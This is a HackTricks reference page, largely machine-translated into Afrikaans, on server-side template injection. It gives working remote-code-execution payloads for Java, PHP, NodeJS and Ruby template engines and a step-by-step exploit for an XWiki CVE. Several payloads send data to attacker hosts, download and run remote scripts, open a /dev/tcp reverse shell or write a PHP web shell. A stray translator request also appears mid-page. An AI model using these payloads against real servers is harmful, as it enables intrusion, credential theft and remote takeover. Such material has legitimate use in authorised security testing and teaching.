SSTI (Server Side Template Injection)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
What is SSTI (Server-Side Template Injection)
Server-side template injection is ân kwesbaarheid wat voorkom wanneer ân aanvaller kwaadwillige kode in ân sjabloon kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kom in verskeie tegnologieĂ« voor, insluitend Jinja.
Jinja is ân gewilde sjabloon-enjin wat in webtoepassings gebruik word. Kom ons oorweeg ân voorbeeld wat ân kwesbare kodefragment toon wat Jinja gebruik:
output = template.render(name=request.args.get('name'))
In hierdie kwesbare kode word die name parameter van die gebruiker se request direk in die template deur die render funksie geplaas. Dit kan moontlik toelaat dat ân attacker kwaadwillige kode in die name-parameter injekteer, wat lei tot server-side template injection.
Byvoorbeeld, ân attacker kan ân request saamstel met ân payload soos hierdie:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Die payload {{bad-stuff-here}} word in die name-parameter ingespuit. Hierdie payload kan Jinja template-direktiewe bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die template engine te manipuleer, en moontlik beheer oor die bediener te kry.
Om server-side template injection vulnerabilities te voorkom, moet ontwikkelaars seker maak dat gebruikersinvoer behoorlik gesuiwer en gevalideer word voordat dit in templates ingevoeg word. Deur inputvalidasie te implementeer en konteksbewuste escaping-tegnieke te gebruik, kan die risiko van hierdie kwetsbaarheid verminder word.
Detection
To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\) into the template and analyzing the differences in the serverâs response to regular data versus this special payload. Vulnerability indicators include:
- Werp foute op, wat die kwetsbaarheid en moontlik die template engine blootlĂȘ.
- Afwesigheid van die payload in die weerspieëling, of dele daarvan wat ontbreek, wat aandui dat die bediener dit anders verwerk as gewone data.
- Plaintext Context: Skeid dit van XSS deur te kontroleer of die bediener template-uitdrukkings evalueer (bv.
{{7*7}},${7*7}). - Code Context: Bevestig die kwesbaarheid deur invoerparameters te verander. Byvoorbeeld, verander
greetinginhttp://vulnerable-website.com/?greeting=data.usernameom te kyk of die bediener se uitvoer dinamies of vas is, soos ingreeting=data.username}}hellowat die gebruikersnaam teruggee.
Identification Phase
Om die template engine te identifiseer behels die ontleding van foutboodskappe of die handmatige toets van verskeie taalspesifieke payloads. Algemene payloads wat foute veroorsaak sluit in ${7/0}, {{7/0}}, en <%= 7/0 %>. Deur die bediener se reaksie op wiskundige bewerkings waar te neem, help dit om die spesifieke template engine vas te stel.
Identification by payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
- Meer inligting by https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Tools
TInjA
ân doeltreffende SSTI + CSTI scanner wat nuwe polyglots gebruik
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
ân interaktiewe tabel wat die mees doeltreffende template injection polyglots bevat, saam met die verwagte antwoorde van die 44 belangrikste template engines.
Exploits
Algemeen
In hierdie wordlist kan jy variables defined vind in die omgewings van sommige van die engines wat hieronder genoem word:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Haal die stelsel se omgewingsveranderlikes op
${T(java.lang.System).getenv()}
Java - Haal /etc/passwd op
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Jy kan jou payloads by https://try.freemarker.apache.org probeer
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
â ïž werk slegs op Freemarker weergawes onder 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Meer inligting
- In die FreeMarker-afdeling van https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Meer inligting
- In die Velocity-afdeling van https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
In Thymeleaf is ân algemene toets vir SSTI-kwesbaarhede die uitdrukking ${7*7}, wat ook op hierdie template engine van toepassing is. Vir potensiĂ«le remote code execution kan uitdrukkings soos die volgende gebruik word:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke attributes geplaas word. Daarbenewens word expression inlining vir ander template-liggingsondersteun, met sinteks soos [[...]] of [(...)]. Dus kan ân eenvoudige SSTI-toets-payload soos [[${7*7}]] lyk.
Die kans dat hierdie payload werk is oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese template-generering nie; templates moet vooraf gedefinieer wees. Ontwikkelaars sou hul eie TemplateResolver moet implementeer om templates uit strings on-the-fly te skep, wat ongewoon is.
Thymeleaf bied ook expression preprocessing aan, waar uitdrukkings tussen dubbele underscores (__...__) voorverwerk word. Hierdie funksie kan benut word by die konstruk van uitdrukkings, soos in Thymeleaf se dokumentasie gedemonstreer:
#{selection.__${sel.code}__}
Voorbeeld van kwesbaarheid in Thymeleaf
Oorweeg die volgende kodefragment, wat vatbaar kan wees vir uitbuiting:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Dit dui daarop dat as die template engine hierdie insette onjuist verwerk, kan dit lei tot remote code execution wat toegang kry tot URLâs soos:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Meer inligting
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Omseil filtere
Verskeie veranderlike-uitdrukkings kan gebruik word; as ${...} nie werk nie, probeer #{...}, *{...}, @{...} of ~{...}.
- Lees
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Aangepaste skrip vir payload-generering
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Meer Inligting
Spring View-manipulasie (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Ouer weergawe van Pebble ( < weergawe 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Nuwe weergawe van Pebble :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava is ân open-source-projek ontwikkel deur Hubspot, beskikbaar by https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Geoplos deur https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Meer inligting
Hubspot - HuBL (Java)
{% %}opdrag-afbakeningstekens{{ }}uitdrukking-afbakeningstekens{# #}kommentaar-afbakeningstekens{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- âAâ{{'a'.concat('b')}}- âabâ{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Soek na âcom.hubspot.content.hubl.context.TemplateContextRequestâ en het die Jinjava project on Github gevind.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Meer inligting
Expression Language - EL (Java)
${"aaaa"}- âaaaaâ${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) is ân fundamentele funksie wat die interaksie tussen die presentation layer (soos webblaaie) en die application logic (soos managed beans) in JavaEE vergemaklik. Dit word wyd oor verskeie JavaEE-tegnologieĂ« gebruik om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE-tegnologieĂ« wat EL gebruik sluit in:
- JavaServer Faces (JSF): Gebruik EL om komponente in JSF-bladsye te bind aan die ooreenstemmende backend-data en -aksies.
- JavaServer Pages (JSP): EL word in JSP gebruik om toegang tot en manipulasie van data binne JSP-bladsye te verskaf, wat dit makliker maak om bladsyelemente aan toepassingsdata te koppel.
- Contexts and Dependency Injection for Java EE (CDI): EL integreer met CDI om naatlose interaksie tussen die weblaag en managed beans moontlik te maak, wat ân meer samehangende toepassingsstruktuur verseker.
Kyk na die volgende bladsy om meer te leer oor die exploitation of EL interpreters:
Groovy (Java)
Die volgende Security Manager bypasses is geneem uit hierdie writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki †15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) lewer ongeverifieerde RSS-soekfeeds deur die Main.SolrSearch macro. Die handler neem die text query-parameter, verpak dit in wiki-sintaksis en evalueer macros, so deur }}} gevolg deur {{groovy}} in te spuit, word willekeurige Groovy in die JVM uitgevoer.
- Fingerprint & scope â Wanneer XWiki reverse-proxied is agter host-based routing, fuzz die
Hostheader (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) om die wiki vhost te ontdek, browse dan na/xwiki/bin/view/Main/en lees die footer (XWiki Debian 15.10.8) om die kwesbare build te bevestig. - Trigger SSTI â Request
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Die RSS-item<title>sal die Groovy-uitset bevat. Kodeer altyd alle karakters in die URL sodat spasies as%20bly; vervanging met+laat XWiki ân HTTP 500 gooi. - Run OS commands â Swap die Groovy-body vir
{{groovy}}println("id".execute().text){{/groovy}}.String.execute()spawn die opdrag direk metexecve(), so shell metakarakters (|,>,&) word nie geĂŻnterpreteer nie. Gebruik eerder ân download-and-execute patroon:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(die script bevat die reverse shell logika).
- Post exploitation â XWiki stoor databasis-inlogbesonderhede in
/etc/xwiki/hibernate.cfg.xml; die lek vanhibernate.connection.passwordgee regte stelsel-wagwoorde wat oor SSH hergebruik kan word. As die service unitNoNewPrivileges=truestel, sal gereedskap soos/bin/sunie addisionele voorregte kry nie, selfs nie met geldige wagwoorde nie; pivot dus via SSH in plaas daarvan om op plaaslike SUID-binaries staat te maak.
Die selfde payload werk op /xwiki/bin/get/Main/SolrSearch, en die Groovy stdout is altyd ingebed in die RSS title, dus is dit maklik om die uitvoering van opdragte te skrip.
Other Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
- Meer inligting in https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Meer inligting
- In die Smarty-afdeling van https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Sjabloonformaat
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Meer inligting
- In die Twig en Twig (Sandboxed)-afdeling van https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates is ân sjabloon-enjin wat native is aan PHP en is geinspireer deur Twig. Egter, anders as Twig, wat ân nuwe sintaksis invoer, gebruik Plates native PHP-kode in sjablone, wat dit intuĂŻtief maak vir PHP-ontwikkelaars.
Kontroleerder:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Bladsjabloon:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Uitleg-sjabloon:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Meer inligting
PHPlib en HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB is dieselfde as PHPlib, maar na Pear geporteer.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
Ek het nie die inhoud van authors.php nie. Plak asseblief die inhoud hier sodat ek dit na Afrikaans kan vertaal (ek sal markdown, tags, links en padverwysings ongeskonde laat).
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Meer inligting
Ander PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Meer inligting by https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Meer inligting
- In die Jade-afdeling van https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jadeâcodepen
patTemplate (PHP)
patTemplate nie-kompilerende PHP-sjabloon-enjin, wat XML-tags gebruik om ân dokument in verskillende dele te verdeel.
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Meer inligting
Handlebars (NodeJS)
Path Traversal (more info here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Fout
- ${7*7} = ${7*7}
- Niks
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Meer inligting
JsRender (NodeJS)
| Template | Beskrywing |
|---|---|
| Evalueer en render uitvoer | |
| Evalueer en render HTML-geënkodeerde uitvoer | |
| Kommentaar | |
| en | Sta code toe (by verstek gedeaktiveer) |
- = 49
Kliëntkant
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Bedienerkant
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Meer inligting
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Voorbeeld van server-side rendering
var pugjs = require("pug")
home = pugjs.render(injected_page)
Meer inligting
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Geen uitset
- #{7*7} = #{7*7}
- {{console.log(1)}} = Fout
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Meer inligting
Ander NodeJS
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- Meer inligting by https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Meer inligting
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Meer inligting
Ander Ruby
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
